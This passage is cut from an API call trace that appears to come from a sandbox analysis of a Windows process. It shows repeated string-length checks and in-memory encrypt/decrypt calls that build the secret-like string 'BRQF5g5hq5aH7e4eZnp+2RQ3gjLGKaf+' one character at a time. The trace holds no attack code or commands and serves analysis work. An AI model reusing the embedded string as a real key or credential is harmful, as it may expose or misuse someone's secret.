[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.883] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x86, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.884] SysStringLen (param_1="") returned 0x8 [0134.884] SysStringLen (param_1="B") returned 0x8 [0134.884] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.884] SysStringLen (param_1="\xb772\xbd31\xac08\xd5cd\x639a\x2ae0\xcff8\x29f7") returned 0x8 [0134.884] SysStringLen (param_1="\xb772\xbd31\xac08\xd5cd\x639a\x2ae0\xcff8\x29f7") returned 0x8 [0134.884] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.884] SysStringLen (param_1="BR") returned 0x8 [0134.884] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.884] SysStringLen (param_1="\x1511\x8538\xd4ac\xb09e\xd610\x64a9\xd153\xf633") returned 0x8 [0134.884] SysStringLen (param_1="\x1511\x8538\xd4ac\xb09e\xd610\x64a9\xd153\xf633") returned 0x8 [0134.884] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.884] SysStringLen (param_1="BRQ") returned 0x8 [0134.884] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.884] SysStringLen (param_1="\x3525\xa88c\x9fc3\x1b3e\xb904\xbca4\xd47c\x163a") returned 0x8 [0134.884] SysStringLen (param_1="\x3525\xa88c\x9fc3\x1b3e\xb904\xbca4\xd47c\x163a") returned 0x8 [0134.884] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.884] SysStringLen (param_1="BRQF") returned 0x8 [0134.884] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.885] SysStringLen (param_1="\x9768\x41fb\x6214\x7d67\x7721\x3e75\x9bf5\x734c") returned 0x8 [0134.885] SysStringLen (param_1="\x9768\x41fb\x6214\x7d67\x7721\x3e75\x9bf5\x734c") returned 0x8 [0134.885] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.885] SysStringLen (param_1="BRQF5") returned 0x8 [0134.885] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.885] SysStringLen (param_1="\x2f51\x7385\xf172\x4ef7\x6b06\x2a04\xbcfb\x3de3") returned 0x8 [0134.885] SysStringLen (param_1="\x2f51\x7385\xf172\x4ef7\x6b06\x2a04\xbcfb\x3de3") returned 0x8 [0134.885] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.885] SysStringLen (param_1="BRQF5g") returned 0x8 [0134.885] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.885] SysStringLen (param_1="\x1e4\x9872\x96a\x7233\xb9ee\x1816\xce73\x1b1e") returned 0x8 [0134.885] SysStringLen (param_1="\x1e4\x9872\x96a\x7233\xb9ee\x1816\xce73\x1b1e") returned 0x8 [0134.885] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.885] SysStringLen (param_1="BRQF5g5") returned 0x8 [0134.885] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.885] SysStringLen (param_1="\x816e\x5fb5\xe88\xdba7\x41f7\x73bb\xc074\x2d2d") returned 0x8 [0134.885] SysStringLen (param_1="\x816e\x5fb5\xe88\xdba7\x41f7\x73bb\xc074\x2d2d") returned 0x8 [0134.885] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.885] SysStringLen (param_1="BRQF5g5h") returned 0x8 [0134.885] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0134.885] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3") returned 0x8 [0134.886] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3") returned 0x8 [0134.886] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3") returned 0x8 [0134.886] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3") returned 0x10 [0134.886] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.886] SysStringLen (param_1="BRQF5g5hq쫆㹸綰餳昩") returned 0x10 [0134.886] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.886] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x45bb\x44fc\xcf47\xd430\x83e4\xa2fe\xd4c\x4cc3") returned 0x10 [0134.886] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x45bb\x44fc\xcf47\xd430\x83e4\xa2fe\xd4c\x4cc3") returned 0x10 [0134.886] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.886] SysStringLen (param_1="BRQF5g5hq5㹸綰餳昩") returned 0x10 [0134.886] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.886] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x3d2e\x2687\xf428\xcb30\xcac0\x1f34\x8338\xb922") returned 0x10 [0134.886] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x3d2e\x2687\xf428\xcb30\xcac0\x1f34\x8338\xb922") returned 0x10 [0134.886] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.886] SysStringLen (param_1="BRQF5g5hq5a綰餳昩") returned 0x10 [0134.886] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.886] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x7dd4\xbf41\x2ff9\x23e3\x138f\xf596\xe643\x24e") returned 0x10 [0134.886] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x7dd4\xbf41\x2ff9\x23e3\x138f\xf596\xe643\x24e") returned 0x10 [0134.886] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.886] SysStringLen (param_1="BRQF5g5hq5aH綰餳昩") returned 0x10 [0134.886] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.887] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x6f69\x8c91\x50a1\x78e8\x1b19\xf65f\x72ec\x7035") returned 0x10 [0134.887] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x6f69\x8c91\x50a1\x78e8\x1b19\xf65f\x72ec\x7035") returned 0x10 [0134.887] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.887] SysStringLen (param_1="BRQF5g5hq5aH7餳昩") returned 0x10 [0134.887] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.887] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\xb6f1\x7444\x970b\x2fd8\x5799\xd481\x47f1\x5eb6") returned 0x10 [0134.887] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\xb6f1\x7444\x970b\x2fd8\x5799\xd481\x47f1\x5eb6") returned 0x10 [0134.887] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.887] SysStringLen (param_1="BRQF5g5hq5aH7e昩") returned 0x10 [0134.887] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.887] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x19a8\x4fb8\x69d6\x968c\xe759\xd68a\x5882\xc76") returned 0x10 [0134.887] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x19a8\x4fb8\x69d6\x968c\xe759\xd68a\x5882\xc76") returned 0x10 [0134.887] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.887] SysStringLen (param_1="BRQF5g5hq5aH7e4") returned 0x10 [0134.887] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.887] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x226d\x85dc\xd4f9\x39e0\x6c06\x147d\x8c22\xf6c7") returned 0x10 [0134.887] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x226d\x85dc\xd4f9\x39e0\x6c06\x147d\x8c22\xf6c7") returned 0x10 [0134.887] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.887] SysStringLen (param_1="BRQF5g5hq5aH7e4e") returned 0x10 [0134.887] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.888] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688") returned 0x10 [0134.888] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688") returned 0x10 [0134.888] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688") returned 0x10 [0134.888] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688") returned 0x18 [0134.888] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.888] SysStringLen (param_1="BRQF5g5hq5aH7e4eZ㑋롈젘劔ﵣ鑺홛") returned 0x18 [0134.888] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.888] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\x52ca\xa388\x3375\xcf7e\x73c1\x19e7\xa4c6\xe89a") returned 0x18 [0134.888] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\x52ca\xa388\x3375\xcf7e\x73c1\x19e7\xa4c6\xe89a") returned 0x18 [0134.888] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.888] SysStringLen (param_1="BRQF5g5hq5aH7e4eZn롈젘劔ﵣ鑺홛") returned 0x18 [0134.888] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.888] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xac4e\x9ea4\x9c8e\xd610\xdc96\x5907\x6504\x3f90") returned 0x18 [0134.888] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xac4e\x9ea4\x9c8e\xd610\xdc96\x5907\x6504\x3f90") returned 0x18 [0134.888] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.888] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp젘劔ﵣ鑺홛") returned 0x18 [0134.888] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.888] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\x8c38\x97df\xbada\xd974\xf928\x87fb\x11b0\x12c4") returned 0x18 [0134.888] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\x8c38\x97df\xbada\xd974\xf928\x87fb\x11b0\x12c4") returned 0x18 [0134.888] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.888] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+劔ﵣ鑺홛") returned 0x18 [0134.889] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.889] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\x6009\x7171\x2233\x2649\x77f3\x5c24\xe19a\x1716") returned 0x18 [0134.889] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\x6009\x7171\x2233\x2649\x77f3\x5c24\xe19a\x1716") returned 0x18 [0134.889] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.889] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2ﵣ鑺홛") returned 0x18 [0134.889] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.889] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\x70f0\x164b\x5155\xce60\xded4\x7202\xcde5\x2d0") returned 0x18 [0134.889] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\x70f0\x164b\x5155\xce60\xded4\x7202\xcde5\x2d0") returned 0x18 [0134.889] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.889] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2R鑺홛") returned 0x18 [0134.889] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.889] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\x4219\x30e2\xb898\x11cd\x51b8\x8879\x80c2\x5390") returned 0x18 [0134.889] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\x4219\x30e2\xb898\x11cd\x51b8\x8879\x80c2\x5390") returned 0x18 [0134.889] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.889] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ홛") returned 0x18 [0134.889] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.889] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc1e1\x7ad4\xf083\x133d\x65e0\xd189\xbc89\x2c33") returned 0x18 [0134.889] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc1e1\x7ad4\xf083\x133d\x65e0\xd189\xbc89\x2c33") returned 0x18 [0134.889] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.889] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3") returned 0x18 [0134.889] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.890] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925") returned 0x18 [0134.890] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925") returned 0x18 [0134.890] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925") returned 0x18 [0134.890] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925") returned 0x20 [0134.890] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.890] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3g뼓몞旍ࡘ৶") returned 0x20 [0134.890] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.890] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\xa63d\x2008\xe871\xa9f7\x8998\x9a7b\xa4d0\x6696") returned 0x20 [0134.890] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\xa63d\x2008\xe871\xa9f7\x8998\x9a7b\xa4d0\x6696") returned 0x20 [0134.890] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.890] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gj몞旍ࡘ৶") returned 0x20 [0134.890] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.890] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x71c8\xd6dd\x2cba\x2035\x5ab6\xc75d\x6b01\xa112") returned 0x20 [0134.890] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x71c8\xd6dd\x2cba\x2035\x5ab6\xc75d\x6b01\xa112") returned 0x20 [0134.890] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.890] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjL旍ࡘ৶") returned 0x20 [0134.890] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.890] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x3e10\x817c\x599b\xe26e\x88d5\xd116\x8f1e\x8dc8") returned 0x20 [0134.890] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x3e10\x817c\x599b\xe26e\x88d5\xd116\x8f1e\x8dc8") returned 0x20 [0134.890] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.891] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGࡘ৶") returned 0x20 [0134.891] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.891] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x4210\xbc76\x128a\xaacc\xc14b\xa8db\xec51\x4f0e") returned 0x20 [0134.891] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x4210\xbc76\x128a\xaacc\xc14b\xa8db\xec51\x4f0e") returned 0x20 [0134.891] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.891] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKࡘ৶") returned 0x20 [0134.891] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.891] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x3735\x27c4\x7ca5\xbdd\xb32c\x8e6\xf4f8\xb443") returned 0x20 [0134.891] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x3735\x27c4\x7ca5\xbdd\xb32c\x8e6\xf4f8\xb443") returned 0x20 [0134.891] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.891] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaࡘ৶") returned 0x20 [0134.891] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.891] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x888d\xd8b7\x79b1\x8974\xd134\x261c\xd9cc\xf302") returned 0x20 [0134.891] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x888d\xd8b7\x79b1\x8974\xd134\x261c\xd9cc\xf302") returned 0x20 [0134.891] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.891] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf৶") returned 0x20 [0134.891] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.891] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x3187\x8bcf\x36e8\xef1f\x5b71\x1863\x2d5f\x44d3") returned 0x20 [0134.891] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x3187\x8bcf\x36e8\xef1f\x5b71\x1863\x2d5f\x44d3") returned 0x20 [0134.891] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.892] SysStringLen (param_1="BRQF5g5hq5aH7e4eZnp+2RQ3gjLGKaf+") returned 0x20 [0134.892] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.892] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9") returned 0x20 [0134.892] SysStringLen (param_1="\x9bc5\xcaec\x4d30\xe105\xb970\x8da6\x23d2\xd8f3\x33b9\x3461\xcb00\xc91e\x9654\xe9f6\xd181\xe688\xc116\xbf39\xc9d6\x64cb\x2805\xf0dc\x4da3\x3925\x62d\xb46b\x3ee2\xcaeb\x9167\x3ded\x1119\xc8f9") returned 0x20 [0134.892] SysStringLen 